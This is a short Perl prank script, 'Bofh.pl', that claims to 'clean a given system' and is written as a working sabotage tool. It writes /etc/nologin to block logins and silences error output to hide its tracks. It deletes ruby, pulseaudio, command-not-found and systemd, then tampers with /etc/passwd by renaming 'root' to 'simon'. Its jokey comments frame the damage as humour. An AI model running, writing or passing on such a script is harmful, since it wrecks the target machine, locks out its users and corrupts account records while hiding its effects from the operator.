#!/usr/bin/perl -w
# Bofh.pl Volume 1 
# clean a given system
# please rewrite as necessary ;)

binmode(STDOUT, ":utf8");
use vars qw ($nolo $line);

print "Ein \x{224}?" or die; 
open ($nolo, "> /etc/nologin") 
       or die "What?";       # no whitnesses
close($nolo); close(STDERR); # no whining

@ruby = (`command -v ruby`, 
"/usr/local/bin/ruby");     # insane
@crap = ("/usr/bin/command-not-found",
"/usr/bin/pulseaudio",  # $%@!1 
"/usr/sbin/systemd"); 

foreach $p (@ruby, @crap) {
print "\nunlink $p";
unlink "$p";
}

open (FH, "+< /etc/passwd");
foreach $line (<FH>) {
if ($line =~ /root/) { 
    $line =~ s/root/simon/;
    print FH $line;
   }
}
close(FH);


print STDOUT "\n";
print ("\015Greetings from \x2a\x2a\x2a\x2a \012");
die "died" or die die die; # be safe